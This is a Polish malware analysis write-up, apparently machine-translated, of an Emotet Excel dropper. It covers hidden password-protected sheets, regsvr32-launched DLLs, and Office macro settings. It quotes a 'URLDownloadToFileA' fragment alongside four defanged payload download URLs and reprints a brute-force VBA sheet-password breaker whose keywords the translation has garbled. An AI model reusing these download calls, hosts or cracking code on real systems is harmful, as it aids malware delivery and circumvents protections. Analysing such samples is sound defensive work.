Autorzy: Ilan Duhin i Yossi Poberezsky( @pober58 )

Podsumowanie wykonawcze:

W ostatnich miesiącach w Europie miała miejsce szeroko zakrojona kampania, zwłaszcza złośliwego oprogramowania o nazwie „Emotet”. Złośliwe oprogramowanie przybywa jako plik Excel i próbuje komunikować się z wieloma adresami URL, a na końcu pobiera cztery pliki DLL na maszynę.

Emotet używa wywołania API CreateDirectoryA do utworzenia folderu, w którym pliki będą zapisywane lokalnie na komputerze i stamtąd uruchamiane przez Regsvr32.exe.

Analiza statyczna:

Narzędzia OLE:

Sprawdzanie struktury plików.

Uzyskanie wskazówki, że mamy w arkuszach programu Excel 6.

Sprawdź możliwości pliku za pomocą malwoverview.py i uzyskaj wskazówki.

Wejdź do trzeciego strumienia i wydobądź jego sznurki.

Znajdź 4 podejrzane adresy URL.

Plik zawiera makro. Ponadto znajdź wszystkie komórki, które zawierają cały kod.

Analiza dynamiczna:

Najpierw próbowaliśmy otworzyć program Excel (część pakietu Office 2021), zauważamy, że otworzył się bez

Wyskakujące okienko „Włącz zawartość”. po przeprowadzeniu niewielkich badań komunikat pojawia się tylko w wersjach pakietu Office z lat 2007–2013. Następnie Microsoft blokuje możliwość automatycznego włączania uruchamiania makr.

Aby włączyć makra musimy zmienić opcję jak na poniższym obrazku:

** w pakiecie Office 2007/2013 zostanie uruchomiony po kliknięciu „Włącz zawartość”

Musisz zapisać i wprowadzić go ponownie do pliku Excela.

I teraz…

Kiedy naciskamy przycisk, pojawiają się cztery komunikaty.

Po kliknięciu na regsvr32.exe możesz zobaczyć te makra używające go do uruchomienia złośliwego oprogramowania. Działa jak dropper, ponieważ generuje folder, w którym umieszcza swoją bibliotekę DLL.

podczas otwierania programu Excel i śledzenia statycznego śledztwa widzimy 6 arkuszy, które ukrywały się przed ofiarą.

Każdy arkusz wymaga hasła.

Aby wyodrębnić hasło, używamy „łamacza haseł dla VBA”.

Źródło:https://www.instructables.com/VBA-Code-To-Unlock-A-Locked-Excel-Sheet/

Sub PasswordBreaker()

„Przełamuje ochronę arkusza kalkulacyjnego hasłem.

Dim i jako liczba całkowita, j jako liczba całkowita, k jako liczba całkowita

Dim l As Integer, m As Integer, n As Integer

Dim i1 jako liczba całkowita, i2 jako liczba całkowita, i3 jako liczba całkowita

Dim i4 jako liczba całkowita, i5 jako liczba całkowita, i6 jako liczba całkowita

W przypadku błędu Wznów Dalej

Dla i = 65 do 66: Dla j = 65 do 66: Dla k = 65 do 66

Dla l = 65 do 66: Dla m = 65 do 66: Dla i1 = 65 do 66

Dla i2 = 65 do 66: Dla i3 = 65 do 66: Dla i4 = 65 do 66

Dla i5 = 65 do 66: Dla i6 = 65 do 66: Dla n = 32 do 126

ActiveSheet.Unprotect Chr(i) & Chr(j) & Chr(k) & _

Chr(l) & Chr(m) & Chr(i1) & Chr(i2) & Chr(i3) & _

Chr(i4) & Chr(i5) & Chr(i6) & Chr(n)

Jeśli ActiveSheet.ProtectContents = False To

MsgBox „Jedno użyteczne hasło to „ & Chr(i) & Chr(j) & _

Chr(k) & Chr(l) & Chr(m) & Chr(i1) & Chr(i2) & _

Chr(i3) & Chr(i4) & Chr(i5) & Chr(i6) & Chr(n)

Wyjdź z podrzędnego

Zakończ, jeśli

Następny: Następny: Następny: Następny: Następny: Następny

Następny: Następny: Następny: Następny: Następny: Następny

Napis końcowy

Aby wstawić nasz kod VBA musimy nacisnąć: ALT+F11, wkleić go i uruchomić.

wklej łamacz haseł wewnątrz każdego arkusza.

Excel pokazuje nam automatycznie hasło do żądanego arkusza.

Możemy to zweryfikować, naciskając prawy przycisk myszy i zobaczyć, że arkusz jest „Chroniony”.

Arkusz 1 dane:

Arkusz 2 dane:

Kiedy reorganizujemy łańcuchy, widzimy cztery adresy URL:

- URLDownloadToFileA”, „JCCB”, 0, „https://audioselec.c[o]m/about/dDw5ggtyMojggTqhc

-https://geringer-muehle.[de]/wp-admin/G/

-http://intolove.co.[uk]/wp-admin/FbGhiWtrEzrQ/

-http://isc.net.[ua]/themes/3rU/

Arkusz 3 dane:

Arkusz 4 dane:

Kolejne dwa adresy URL, które widzieliśmy wcześniej.

Arkusz 5 dane:

Arkusz 6 dane:

Zawiera wskazówki, jak podsumować ciągi.

Analiza bibliotek DLL:

Funkcja eksportu numer 18.

Po sprawdzeniu biblioteki DLL znaleźliśmy kilka interesujących ciągów znaków w zakładce pamięci.

Ponadto spada po wykonaniu do następnej ścieżki:

Analizując ciąg pamięci biblioteki DLL w VT otrzymaliśmy opis Emoteta.

Wnioski:

· Makra sięgają, aby pobrać i uruchomić złośliwe oprogramowanie Emotet.

· Plik programu Excel za pomocą makr, aby dotrzeć do adresów URL.

· Via regsvr32.exe Emotet wykonuje swoją egzekucję.

· Dropper Emotet jest pobierany do losowo generowanego folderu w %UserProfile%\Appdata\Local jako plik dll.